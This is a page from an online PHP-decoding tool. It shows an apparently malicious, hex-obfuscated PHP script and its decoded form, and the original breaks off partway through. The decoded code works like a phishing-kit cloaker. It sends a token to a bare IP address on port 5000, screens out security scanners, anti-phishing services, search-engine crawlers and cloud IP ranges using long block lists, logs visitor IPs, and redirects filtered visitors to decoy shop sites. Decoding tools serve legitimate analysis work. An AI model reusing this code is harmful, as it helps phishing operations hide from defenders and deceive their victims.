Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto i4joz; lOQ3i: $link = array("\x68\x74\164\160\x73\x3a\57\x2f\x68\x72\145\x66\..
Decoded Output download
<?php
goto i4joz; lOQ3i: $link = array("https://href.li/?https://www.danicathreesixty.com", "https://href.li/?https://www.thegldshop.com", "https://href.li/?https://704-shop.myshopify.com", "https://href.li/?https://corgi-overload-store.myshopify.com", "https://href.li/?https://www.cubowl.com", "https://href.li/?https://woolman.io", "https://href.li/?https://store.lilbub.com", "https://href.li/?https://www.davdev9.com", "https://href.li/?https://shop-demure.com", "https://href.li/?https://www.elevenmadisonpark.store", "https://href.li/?https://faktr-store.com", "https://href.li/?https://www.wanderlust.store"); goto Zsb80; APHe_: file_get_contents($url, false, $context); goto bYSbo; bpbKb: $context = stream_context_create(array("http" => array("header" => "Content-type: application/x-www-form-urlencoded\xd
", "method" => "POST", "content" => http_build_query($data)))); goto APHe_; kIz3l: foreach ($blocked_words as $word2) { if (substr_count($dp, strtolower($word2)) > 0 or $dp == '' or $dp == " " or $dp == " ") { $ip = getenv("REMOTE_ADDR"); $file = fopen("ips.txt", "a"); fwrite($file, '' . $ip . "
"); header("location: {$link}"); die; } } goto Jia4L; WZZvd: $url = "http://102.165.14.4:5000/receive_token?referrer=loco"; goto y8EcV; FCOPj: $Botname = array("bot", "above", "google", "softlayer", "amazonaws", "cyveillance", "compatible", "facebook", "phishtank", "dreamhost", "netpilot", "microsoft", "tor-exit", "apache-httpclient", "azure", "Trident", "X11", "crawler", "urlredirectresolver", "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker", "google", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "arabot", "crawl", "slurp", "spider", "seek", "accoona", "acoon", "adressendeutschland", "ah-ha.com", "ahoy", "altavista", "ananzi", "anthill", "appie", "arachnophilia", "arale", "araneo", "aranha", "architext", "aretha", "arks", "asterias", "atlocal", "atn", "atomz", "augurfind", "backrub", "bannana_bot", "baypup", "bdfetch", "big brother", "biglotron", "bjaaland", "blackwidow", "blaiz", "blog", "blo.", "bloodhound", "boitho", "booch", "bradley", "butterfly", "calif", "cassandra", "ccubee", "cfetch", "charlotte", "churl", "cienciaficcion", "cmc", "collective", "comagent", "combine", "computingsite", "csci", "curl", "cusco", "daumoa", "deepindex", "delorie", "depspid", "deweb", "die blinde kuh", "digger", "ditto", "dmoz", "docomo", "download express", "dtaagent", "dwcp", "ebiness", "ebingbong", "e-collector", "ejupiter", "emacs-w3 search engine", "esther", "evliya celebi", "ezresult", "falcon", "felix ide", "ferret", "fetchrover", "fido", "findlinks", "fireball", "fish search", "fouineur", "funnelweb", "gazz", "gcreep", "genieknows", "getterroboplus", "geturl", "glx", "goforit", "golem", "grabber", "grapnel", "gralon", "griffon", "gromit", "grub", "gulliver", "hamahakki", "harvest", "havindex", "helix", "heritrix", "hku www octopus", "homerweb", "htdig", "html index", "html_analyzer", "htmlgobble", "hubater", "hyper-decontextualizer", "ia_archiver", "ibm_planetwide", "ichiro", "iconsurf", "iltrovatore", "image.kapsi.net", "imagelock", "incywincy", "indexer", "infobee", "informant", "ingrid", "inktomisearch.com", "inspector web", "intelliagent", "internet shinchakubin", "ip3000", "iron33", "israeli-search", "ivia", "jack", "jakarta", "javabee", "jetbot", "jumpstation", "katipo", "kdd-explorer", "kilroy", "knowledge", "kototoi", "kretrieve", "labelgrabber", "lachesis", "larbin", "legs", "libwww", "linkalarm", "link validator", "linkscan", "lockon", "lwp", "lycos", "magpie", "mantraagent", "mapoftheinternet", "marvin/", "mattie", "mediafox", "mediapartners", "mercator", "merzscope", "microsoft url control", "minirank", "miva", "mj12", "mnogosearch", "moget", "monster", "moose", "motor", "multitext", "muncher", "muscatferret", "mwd.search", "myweb", "najdi", "nameprotect", "nationaldirectory", "nazilla", "ncsa beta", "nec-meshexplorer", "nederland.zoek", "netcarta webmap engine", "netmechanic", "netresearchserver", "netscoop", "newscan-online", "nhse", "nokia6682/", "nomad", "noyona", "nutch", "nzexplorer", "objectssearch", "occam", "omni", "open text", "openfind", "openintelligencedata", "orb search", "osis-project", "pack rat", "pageboy", "pagebull", "page_verifier", "panscient", "parasite", "partnersite", "patric", "pear.", "pegasus", "peregrinator", "pgp key agent", "phantom", "phpdig", "picosearch", "piltdownman", "pimptrain", "pinpoint", "pioneer", "piranha", "plumtreewebaccessor", "pogodak", "poirot", "pompos", "poppelsdorf", "poppi", "popular iconoclast", "psycheclone", "publisher", "python", "rambler", "raven search", "roach", "road runner", "roadhouse", "robbie", "robofox", "robozilla", "rules", "salty", "sbider", "scooter", "scoutjet", "scrubby", "search.", "searchprocess", "semanticdiscovery", "senrigan", "sg-scout", "shai'hulud", "shark", "shopwiki", "sidewinder", "sift", "silk", "simmany", "site searcher", "site valet", "sitetech-rover", "skymob.com", "sleek", "smartwit", "sna-", "snappy", "snooper", "sohu", "speedfind", "sphere", "sphider", "spinner", "spyder", "steeler/", "suke", "suntek", "supersnooper", "surfnomore", "sven", "sygol", "szukacz", "tach black widow", "tarantula", "templeton", "/teoma", "t-h-u-n-d-e-r-s-t-o-n-e", "theophrastus", "titan", "titin", "tkwww", "toutatis", "t-rex", "tutorgig", "twiceler", "twisted", "ucsd", "udmsearch", "url check", "updated", "vagabondo", "valkyrie", "verticrawl", "victoria", "vision-search", "volcano", "voyager/", "voyager-hc", "w3c_validator", "w3m2", "w3mir", "walker", "wallpaper", "wanderer", "wauuu", "wavefire", "web core", "web hopper", "web wombat", "webbandit", "webcatcher", "webcopy", "webfoot", "weblayers", "weblinker", "weblog monitor", "webmirror", "webmonkey", "webquest", "webreaper", "websitepulse", "websnarf", "webstolperer", "webvac", "webwalk", "webwatch", "webwombat", "webzinger", "wget", "whizbang", "whowhere", "wild ferret", "worldlight", "wwwc", "wwwster", "xenu", "xift", "Intergrid", "yandex", "google", "Microsoft", "yanga", "yeti", "yahoo!"); goto Bqy66; dq3VY: $hostname = gethostbyaddr($_SERVER["REMOTE_ADDR"]); goto p_hkR; UyUt0: if ($found) { foreach ($ips as $ip) { if (preg_match("/" . $ip . "/", $_SERVER["REMOTE_ADDR"])) { $ip = getenv("REMOTE_ADDR"); $file = fopen("ips.txt", "a"); fwrite($file, '' . $ip . "
"); header("location: {$link}"); die; } } } goto dq3VY; tgICC: $dp = strtolower($_SERVER["HTTP_USER_AGENT"]); goto gVoid; fTc1j: $id = $_SERVER["REMOTE_ADDR"]; goto ompla; JNy2Y: $link = $link[$random]; goto fTc1j; bYSbo: session_start(); goto FCOPj; TehMF: $lines = file($ips, FILE_IGNORE_NEW_LINES); goto XRWU1; mm3V_: require_once "function.php"; goto LZ_26; XRWU1: $found = false; goto GUH5V; y8EcV: $data = array("token" => $token); goto bpbKb; LZ_26: require_once "config.php"; goto WZZvd; p_hkR: $blocked_domain = array("bot", "Morocco", "ovh", "phishmongers", "completel", "user", "static.3s", "netmar", ".eu", "above", "thinins", "alphalink", "ipvanish", "opendns", "kasserver", "gandi", "coltfrance", "avast", "accelance", "jouve-hdi", "akamaitechnologies", "ghst", "dila", "tpnet", "isitphishing", "phishing-initiative", "qwant", "mail", "webmail", "cloud", "scaleway", "arubacloud", "aruba", "avranches", "coltfrance", "bot", "above", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver", "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "tu-berlin", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "EBAY", "CL0NA", "jabber", "ebay", "arabot", "hotmail!", "msn!", "outlook!", "outlook", "msn", "hotmail", "abot", "dbot", "ebot", "hbot", "kbot", "lbot", "mbot", "nbot", "obot", "pbot", "rbot", "sbot", "tbot", "vbot", "ybot", "zbot", "bot.", "bot/", "_bot", ".bot", "/bot", "-bot", ":bot", "(bot", "crawl", "slurp", "spider", "seek", "accoona", "acoon", "adressendeutschland", "ah-ha.com", "ahoy", "altavista", "ananzi", "anthill", "appie", "arachnophilia", "arale", "araneo", "aranha", "architext", "aretha", "arks", "asterias", "atlocal", "atn", "atomz", "augurfind", "backrub", "bannana_bot", "baypup", "bdfetch", "big brother", "biglotron", "bjaaland", "blackwidow", "blaiz", "blog", "blo.", "bloodhound", "boitho", "booch", "bradley", "butterfly", "calif", "cassandra", "ccubee", "cfetch", "charlotte", "churl", "cienciaficcion", "cmc", "collective", "comagent", "combine", "computingsite", "csci", "curl", "cusco", "daumoa", "deepindex", "delorie", "depspid", "deweb", "echo blinde kuh", "digger", "ditto", "dmoz", "docomo", "tlh.ro", "coloup.com", "download express", "dtaagent", "dwcp", "ebiness", "ebingbong", "e-collector", "ejupiter", "emacs-w3 search engine", "esther", "evliya celebi", "ezresult", "falcon", "felix ide", "ferret", "fetchrover", "fido", "findlinks", "fireball", "fish search", "fouineur", "funnelweb", "gazz", "gcreep", "genieknows", "getterroboplus", "geturl", "glx", "goforit", "golem", "grabber", "grapnel", "gralon", "griffon", "gromit", "grub", "gulliver", "hamahakki", "harvest", "havindex", "helix", "heritrix", "hku www octopus", "homerweb", "stratoserver", "html index", "html_analyzer", "htmlgobble", "hubater", "hyper-decontextualizer", "ia_archiver", "ibm_planetwide", "ichiro", "iconsurf", "iltrovatore", "image.kapsi.net", "imagelock", "incywincy", "indexer", "infobee", "informant", "ingrid", "inktomisearch.com", "inspector web", "intelliagent", "internet shinchakubin", "ip3000", "iron33", "israeli-search", "ivia", "jack", "jakarta", "javabee", "jetbot", "jumpstation", "katipo", "kdd-explorer", "kilroy", "knowledge", "kototoi", "kretrieve", "labelgrabber", "lachesis", "larbin", "legs", "libwww", "linkalarm", "link validator", "linkscan", "lockon", "lwp", "lycos", "magpie", "mantraagent", "mapoftheinternet", "marvin/", "mattie", "mediafox", "mediapartners", "mercator", "merzscope", "microsoft url control", "minirank", "miva", "mj12", "mnogosearch", "moget", "monster", "moose", "motor", "multitext", "muncher", "muscatferret", "mwd.search", "myweb", "najdi", "nameprotect", "nationaldirectory", "nazilla", "ncsa beta", "nec-meshexplorer", "nederland.zoek", "netcarta webmap engine", "netmechanic", "netresearchserver", "netscoop", "newscan-online", "nhse", "nokia6682/", "nomad", "noyona", "nutch", "nzexplorer", "objectssearch", "occam", "omni", "open text", "openfind", "openintelligencedata", "orb search", "osis-project", "pack rat", "pageboy", "pagebull", "page_verifier", "panscient", "parasite", "partnersite", "patric", "pear.", "pegasus", "peregrinator", "pgp key agent", "phantom", "phpdig", "picosearch", "piltdownman", "pimptrain", "pinpoint", "pioneer", "piranha", "plumtreewebaccessor", "pogodak", "poirot", "pompos", "poppelsdorf", "poppi", "popular iconoclast", "psycheclone", "publisher", "python", "rambler", "raven search", "roach", "road runner", "roadhouse", "robbie", "robofox", "robozilla", "rules", "salty", "sbider", "scooter", "scoutjet", "scrubby", "search.", "searchprocess", "semanticdiscovery", "senrigan", "sg-scout", "shai'hulud", "shark", "shopwiki", "sidewinder", "sift", "silk", "simmany", "site searcher", "site valet", "sitetech-rover", "skymob.com", "sleek", "smartwit", "sna-", "snappy", "snooper", "sohu", "speedfind", "sphere", "sphider", "spinner", "spyder", "steeler/", "suke", "suntek", "supersnooper", "surfnomore", "sven", "sygol", "szukacz", "tach black widow", "tarantula", "templeton", "/teoma", "t-h-u-n-d-e-r-s-t-o-n-e", "theophrastus", "titan", "titin", "tkwww", "toutatis", "t-rex", "tutorgig", "twiceler", "twisted", "ucsd", "udmsearch", "url check", "updated", "vagabondo", "valkyrie", "verticrawl", "victoria", "vision-search", "volcano", "voyager/", "voyager-hc", "w3c_validator", "w3m2", "w3mir", "walker", "wallpaper", "wanderer", "wauuu", "wavefire", "web core", "web hopper", "web wombat", "webbandit", "webcatcher", "webcopy", "webfoot", "weblayers", "weblinker", "weblog monitor", "webmirror", "webmonkey", "webquest", "webreaper", "websitepulse", "websnarf", "webstolperer", "webvac", "webwalk", "webwatch", "webwombat", "webzinger", "wget", "whizbang", "whowhere", "wild ferret", "worldlight", "wwwc", "wwwster", "xenu", "xget", "xift", "xirq", "yandex", "yanga", "yeti", "yodao", "zao/", "zippp", "zyborg"); goto Vof2J; ML9Di: $ips = "./ips.txt"; goto TehMF; Bqy66: function visitors($detection) { global $ip_infos; $ip = $ip_infos["query"]; $date = date("Y-m-d H:i:s", time()); $country = $ip_infos["country"]; $str = " <tr><th scope='row'>{$ip} ({$country})</th><td>{$date}</td><td>{$detection}</td></tr>"; file_put_contents("visitors.html", $str, FILE_APPEND | LOCK_EX); } goto lOQ3i; gVoid: $blocked_words = array("bot", "ovh", "Morocco", "phishmongers", "above", "thinins.net", "alphalink", "ipvanish", "opendns", "kasserver", "gandi", "coltfrance", "accelance", "jouve-hdi", "akamaitechnologies", "ghst", "dila", "tpnet", "isitphishing", "phishing-initiative", "qwant", "mail", "europassistance", "webmail", "cloud", "scaleway", "arubacloud", "aruba", "avranches", "coltfrance", "google", "softlayer", "amazonaws", "cyveillance", "phishtank", "dreamhost", "netpilot", "calyxinstitute", "tor-exit", "apache-httpclient", "lssrocketcrawler", "crawler", "urlredirectresolver", "jetbrains", "spam", "windows 95", "windows 98", "acunetix", "netsparker", "007ac9", "008", "192.comagent", "200pleasebot", "360spider", "4seohuntbot", "50.nu", "a6-indexer", "admantx", "amznkassocbot", "aboundexbot", "aboutusbot", "abrave spider", "accelobot", "acoonbot", "addthis.com", "adsbot-google", "ahrefsbot", "alexabot", "amagit.com", "analytics", "antbot", "apercite", "aportworm", "EBAY", "CL0NA", "jabber", "ebay", "arabot", "hotmail!", "msn!", "outlook!", "outlook", "msn", "hotmail"); goto kIz3l; ompla: $ips = array("^40.107.*.*", "^40.107.206.*", "^195.214.*.*", "^191.96.12.*", "^194.99.104.*", "^91.103.*.*", "^69.164.*.*", "^194.59.*.*", "^194.59.251.*", "^206.206.*.*", "^10.*.*.*", "^195.141.*.*", "^77.67.*.*", "^77.67.54.*", "^40.107.*.*", "^65.154.226.*", "^40.107.206.*", "^208.91.197.*", "^82.102.22.*", "^185.77.248.*", "^40.107.200.*", "^193.37.253.*", "^40.*.*.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*", "^94.26.*.*", "^95.85.*.*", "^72.52.96.*", "^212.8.79.*", "^62.99.77.*", "^83.31.118.*", "^91.231.*.*", "^206.207.*.*", "^91.231.212.*", "^62.99.77.*", "^198.41.243.*", "^162.158.*.*", "^162.158.7.*", "^162.158.72.*", "^173.245.55.*", "^108.162.246.*", "^162.158.95.*", "^108.162.215.*", "^95.108.194.*", "^141.101.104.*", "^93.54.82.*", "^69.164.145.*", "^194.153.113.*", "^178.43.117.*", "^62.141.65.*", "^83.31.69.*", "^107.178.195.*", "^149.20.54.*", "^85.9.7.*", "^87.106.251.*", "^107.178.194.*", "^124.66.185.*", "^133.11.204.*", "^185.2.138.*", "^188.165.83.*", "^78.148.13.*", "^192.232.213.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^176.195.231.*", "^206.253.226.*", "^107.20.181.*", "^188.244.39.*", "^124.66.185.*", "^38.74.138.*", "^124.66.185.*", "^38.74.138.*", "^206.253.226.*", "^1.234.41.*", "^124.66.185.*", "^87.106.251.*", "^85.9.7.*", "^37.140.188.*", "^195.128.227.*", "^38.74.138.*", "^107.20.181.*", "^104.131.223.*", "^46.4.120.*", "^107.178.194.*", "^198.60.236.*", "^217.74.103.*", "^92.103.69.*", "^217.74.103.*", "^66.211.160.86*", "^46.244.*.*", "^131.*.*.*", "^157.*.*.*", "^202.*.*.*", "^204.*.*.*", "^207.*.*.*", "^213.*.*.*", "^219.*.*.*", "^63.*.*.*", "^64.*.*.*", "^65.*.*.*", "^68.*.*.*", "^64.*.*.*", "^64.233.160.*", "^64.233.191.*", "^64.233.191.255*", "^66.102.*.*", "^66.249.*.*", "^72.14.*.*", "^74.125.*.*", "^209.85.*.*", "^216.239.*.*", "^64.4.*.*", "^65.52.*.*", "^131.253.*.*", "^157.54.*.*", "^207.46.*.*", "^207.68.*.*", "^8.12.*.*", "^66.196.*.*", "^66.228.*.*", "^67.195.*.*", "^68.142.*.*", "^72.30.*.*", "^74.6.*.*", "^98.136.*.*", "^202.160.*.*", "^209.191.*.*", "^66.102.*.*", "^38.100.*.*", "^107.170.*.*", "^149.20.*.*", "^38.105.*.*", "^74.125.*.*", "^66.150.14.*", "^54.176.*.*", "^38.100.*.*", "^184.173.*.*", "^66.249.*.*", "^128.242.*.*", "^72.14.192.*", "^208.65.144.*", "^74.125.*.*", "^209.85.128.*", "^216.239.32.*", "^74.125.*.*", "^207.126.144.*", "^173.194.*.*", "^64.233.160.*", "^72.14.192.*", "^66.102.*.*", "^64.18.*.*", "^194.52.68.*", "^194.72.238.*", "^62.116.207.*", "^212.50.193.*", "^69.65.*.*", "^50.7.*.*", "^131.212.*.*", "^46.116.*.* ", "^62.90.*.*", "^89.138.*.*", "^82.166.*.*", "^85.64.*.*", "^85.250.*.*", "^89.138.*.*", "^93.172.*.*", "^109.186.*.*", "^194.90.*.*", "^212.29.192.*", "^212.29.224.*", "^212.143.*.*", "^212.150.*.*", "^212.235.*.*", "^217.132.*.*", "^50.97.*.*", "^217.132.*.*", "^209.85.*.*", "^66.205.64.*", "^204.14.48.*", "^64.27.2.*", "^67.15.*.*", "^202.108.252.*", "^193.47.80.*", "^64.62.136.*", "^66.221.*.*", "^64.62.175.*", "^198.54.*.*", "^192.115.134.*", "^216.252.167.*", "^193.253.199.*", "^69.61.12.*", "^64.37.103.*", "^38.144.36.*", "^64.124.14.*", "^206.28.72.*", "^209.73.228.*", "^158.108.*.*", "^168.188.*.*", "^66.207.120.*", "^167.24.*.*", "^192.118.48.*", "^67.209.128.*", "^12.148.209.*", "^12.148.196.*", "^193.220.178.*", "68.65.53.71", "^198.25.*.*", "^64.106.213.*"); goto ML9Di; GUH5V: foreach ($lines as $line) { if (strpos($ip, $line) !== false) { $found = true; break; } } goto UyUt0; i4joz: error_reporting(0); goto mm3V_; Vof2J: foreach ($blocked_domain as $domain) { if (substr_count($hostname, $domain) > 0) { $ip = getenv("REMOTE_ADDR"); $file = fopen("ips.txt", "a"); fwrite($file, '' . $ip . "
"); header("location: {$link}"); die; } } goto tgICC; Zsb80: $random = rand(0, 11); goto JNy2Y; Jia4L: ?>
Did this file decode correctly?
Original Code
<?php
goto i4joz; lOQ3i: $link = array("\x68\x74\164\160\x73\x3a\57\x2f\x68\x72\145\x66\56\154\x69\57\77\x68\164\164\160\x73\x3a\x2f\x2f\x77\167\167\x2e\144\141\x6e\151\143\141\x74\150\162\x65\145\163\151\170\164\x79\x2e\x63\157\x6d", "\x68\x74\164\x70\x73\72\x2f\x2f\150\162\x65\x66\56\x6c\151\57\x3f\x68\164\164\160\x73\72\57\57\x77\167\x77\x2e\x74\x68\x65\x67\154\x64\163\150\x6f\x70\x2e\143\157\x6d", "\150\x74\x74\x70\163\x3a\57\57\150\162\145\x66\x2e\x6c\x69\57\77\x68\164\164\x70\x73\72\57\57\67\x30\x34\55\163\150\157\160\x2e\155\x79\x73\x68\x6f\x70\x69\x66\171\56\143\157\155", "\150\x74\164\160\x73\x3a\57\57\x68\162\x65\x66\56\154\x69\57\77\x68\164\164\160\163\x3a\x2f\57\143\x6f\162\147\151\x2d\x6f\x76\x65\x72\x6c\157\141\144\55\x73\164\x6f\162\145\56\x6d\171\163\150\x6f\x70\151\146\x79\x2e\x63\157\155", "\x68\x74\164\160\x73\72\x2f\x2f\x68\x72\145\x66\x2e\x6c\x69\57\x3f\150\164\164\x70\x73\72\x2f\x2f\167\x77\x77\56\143\x75\142\157\x77\x6c\56\143\157\x6d", "\150\164\164\160\x73\x3a\57\x2f\x68\162\145\x66\56\x6c\x69\x2f\77\150\x74\164\x70\x73\72\57\x2f\167\157\x6f\x6c\155\141\156\56\x69\x6f", "\x68\164\x74\x70\163\x3a\57\57\x68\162\x65\146\56\x6c\x69\57\77\150\164\164\x70\163\x3a\57\57\x73\x74\157\x72\x65\56\x6c\151\154\x62\165\x62\x2e\143\x6f\155", "\150\164\164\160\163\x3a\57\57\x68\162\145\146\56\x6c\x69\x2f\77\x68\164\164\160\163\x3a\57\x2f\x77\167\167\56\144\141\166\x64\145\166\x39\56\143\x6f\155", "\150\164\x74\160\x73\72\57\x2f\150\x72\145\x66\x2e\154\151\57\77\x68\164\x74\160\163\72\57\x2f\163\x68\x6f\x70\x2d\x64\145\155\165\x72\145\x2e\x63\157\155", "\x68\164\164\x70\x73\x3a\57\x2f\x68\x72\145\x66\56\154\x69\x2f\77\x68\x74\164\x70\x73\72\57\57\167\167\x77\56\x65\x6c\145\166\x65\156\x6d\x61\144\x69\x73\x6f\156\x70\141\x72\x6b\56\x73\164\157\162\x65", "\150\x74\164\160\163\x3a\x2f\57\x68\162\x65\x66\x2e\x6c\x69\57\77\x68\164\164\x70\x73\x3a\x2f\x2f\x66\x61\x6b\164\162\x2d\163\164\157\162\x65\x2e\143\x6f\155", "\150\164\164\160\x73\x3a\57\x2f\150\162\145\x66\x2e\x6c\x69\57\77\150\x74\164\x70\163\x3a\x2f\57\x77\167\x77\56\167\141\156\x64\x65\162\154\165\x73\164\x2e\x73\164\x6f\x72\x65"); goto Zsb80; APHe_: file_get_contents($url, false, $context); goto bYSbo; bpbKb: $context = stream_context_create(array("\150\164\164\x70" => array("\150\x65\141\144\x65\x72" => "\103\157\x6e\x74\x65\156\164\x2d\164\x79\x70\x65\x3a\40\141\160\160\154\151\143\141\164\x69\157\156\57\170\55\x77\167\167\x2d\x66\x6f\x72\x6d\55\165\x72\x6c\x65\156\143\157\144\x65\x64\xd\12", "\x6d\x65\x74\x68\157\144" => "\120\x4f\123\124", "\143\x6f\x6e\x74\145\x6e\164" => http_build_query($data)))); goto APHe_; kIz3l: foreach ($blocked_words as $word2) { if (substr_count($dp, strtolower($word2)) > 0 or $dp == '' or $dp == "\40" or $dp == "\11") { $ip = getenv("\122\105\x4d\117\x54\105\137\101\x44\104\x52"); $file = fopen("\x69\160\x73\x2e\164\x78\x74", "\141"); fwrite($file, '' . $ip . "\12"); header("\x6c\x6f\143\x61\x74\151\157\156\x3a\x20{$link}"); die; } } goto Jia4L; WZZvd: $url = "\150\x74\x74\x70\x3a\x2f\x2f\x31\60\62\x2e\61\66\65\56\x31\x34\56\64\72\x35\x30\x30\x30\x2f\x72\145\x63\145\x69\x76\145\x5f\x74\x6f\x6b\x65\x6e\x3f\x72\145\146\145\162\x72\x65\162\x3d\x6c\x6f\x63\x6f"; goto y8EcV; FCOPj: $Botname = array("\142\157\x74", "\141\x62\x6f\x76\x65", "\x67\x6f\x6f\147\154\x65", "\x73\x6f\x66\164\154\x61\171\145\x72", "\x61\155\141\172\157\x6e\141\167\x73", "\143\171\166\145\x69\x6c\154\141\156\x63\x65", "\x63\x6f\155\x70\x61\x74\151\142\154\145", "\x66\141\x63\x65\x62\x6f\x6f\x6b", "\160\x68\x69\x73\150\164\141\x6e\x6b", "\x64\x72\145\141\155\150\x6f\163\164", "\156\145\x74\160\151\x6c\x6f\164", "\155\x69\x63\x72\x6f\163\157\x66\164", "\164\x6f\162\x2d\145\x78\x69\164", "\141\x70\x61\x63\150\145\x2d\150\164\x74\x70\x63\x6c\x69\145\156\x74", "\141\172\x75\162\x65", "\x54\162\151\144\x65\156\x74", "\x58\x31\61", "\143\162\141\x77\154\x65\162", "\165\162\x6c\162\145\x64\151\162\145\143\x74\x72\145\163\157\x6c\x76\x65\162", "\x6a\x65\x74\x62\x72\141\151\x6e\x73", "\163\160\141\155", "\167\151\156\x64\x6f\x77\163\40\x39\65", "\167\x69\156\x64\x6f\x77\x73\x20\x39\70", "\141\x63\165\x6e\145\x74\x69\170", "\x6e\x65\x74\x73\x70\141\x72\x6b\145\162", "\x67\x6f\x6f\x67\154\x65", "\x30\60\67\141\143\x39", "\x30\x30\70", "\61\x39\x32\56\143\157\x6d\x61\147\145\156\164", "\62\60\x30\x70\x6c\x65\x61\163\145\x62\x6f\x74", "\63\x36\60\x73\x70\x69\144\x65\162", "\x34\x73\145\157\x68\x75\156\x74\142\x6f\x74", "\x35\60\56\x6e\x75", "\x61\x36\55\x69\156\144\145\x78\x65\x72", "\141\144\x6d\x61\x6e\164\170", "\141\155\x7a\156\153\141\163\163\x6f\143\x62\157\x74", "\x61\x62\157\x75\156\x64\x65\170\142\x6f\x74", "\x61\x62\x6f\165\x74\165\163\x62\x6f\164", "\141\142\162\141\x76\x65\40\163\x70\x69\144\x65\162", "\x61\x63\143\x65\x6c\x6f\x62\157\164", "\x61\143\x6f\x6f\x6e\142\x6f\x74", "\x61\144\144\x74\150\x69\163\56\x63\x6f\155", "\141\144\163\142\157\x74\x2d\147\157\x6f\147\x6c\x65", "\141\x68\x72\x65\x66\163\x62\157\x74", "\141\x6c\145\x78\141\x62\x6f\164", "\141\x6d\x61\147\x69\164\56\143\x6f\x6d", "\141\x6e\x61\154\171\164\x69\143\163", "\141\x6e\164\142\x6f\164", "\141\x70\145\x72\x63\151\x74\145", "\141\160\157\162\164\x77\157\162\155", "\141\x72\x61\142\157\164", "\x63\x72\141\167\x6c", "\x73\x6c\165\x72\x70", "\x73\160\151\x64\x65\x72", "\163\145\x65\x6b", "\141\x63\x63\x6f\x6f\156\141", "\141\143\x6f\157\x6e", "\x61\144\x72\x65\x73\x73\x65\156\144\145\x75\x74\163\143\x68\154\x61\x6e\144", "\141\150\55\x68\141\x2e\143\157\x6d", "\141\150\x6f\171", "\x61\x6c\164\x61\166\x69\x73\164\141", "\141\x6e\141\156\x7a\151", "\x61\156\164\x68\151\154\154", "\141\x70\160\x69\x65", "\141\162\141\143\150\156\157\160\x68\x69\x6c\x69\x61", "\141\x72\x61\x6c\145", "\141\162\x61\x6e\x65\157", "\141\x72\141\x6e\x68\x61", "\141\x72\x63\x68\x69\164\x65\x78\164", "\x61\162\145\164\x68\141", "\141\x72\x6b\163", "\141\x73\164\145\162\151\x61\x73", "\x61\164\x6c\157\143\x61\x6c", "\141\x74\x6e", "\141\x74\x6f\155\x7a", "\x61\165\x67\165\x72\146\151\156\x64", "\142\x61\x63\153\x72\165\x62", "\x62\141\156\x6e\141\x6e\141\x5f\142\157\x74", "\142\141\171\x70\165\160", "\142\x64\146\145\164\x63\150", "\142\x69\x67\x20\142\162\157\x74\x68\145\x72", "\x62\151\x67\x6c\x6f\x74\162\157\156", "\142\152\x61\141\x6c\x61\156\144", "\142\154\x61\143\153\167\151\x64\157\167", "\142\x6c\x61\x69\172", "\x62\154\157\x67", "\142\154\157\x2e", "\142\154\x6f\157\144\x68\x6f\x75\x6e\x64", "\142\157\x69\x74\150\157", "\x62\157\x6f\143\x68", "\142\x72\141\144\154\x65\x79", "\x62\165\x74\164\x65\x72\x66\154\x79", "\x63\x61\x6c\151\146", "\143\141\163\x73\141\x6e\144\162\x61", "\143\x63\165\x62\x65\145", "\143\146\145\164\143\x68", "\x63\150\141\x72\x6c\x6f\x74\x74\x65", "\x63\x68\165\x72\x6c", "\x63\x69\145\156\x63\x69\141\x66\151\x63\143\x69\157\156", "\143\155\x63", "\x63\157\154\154\145\x63\164\151\x76\145", "\x63\x6f\x6d\x61\x67\x65\156\164", "\143\157\155\142\x69\156\145", "\143\x6f\x6d\160\x75\164\151\156\x67\163\151\x74\145", "\143\x73\x63\151", "\x63\165\162\154", "\143\x75\163\143\157", "\x64\x61\165\x6d\157\x61", "\x64\145\145\160\151\156\x64\145\170", "\x64\x65\x6c\157\x72\x69\145", "\x64\145\160\163\x70\151\144", "\144\x65\x77\145\142", 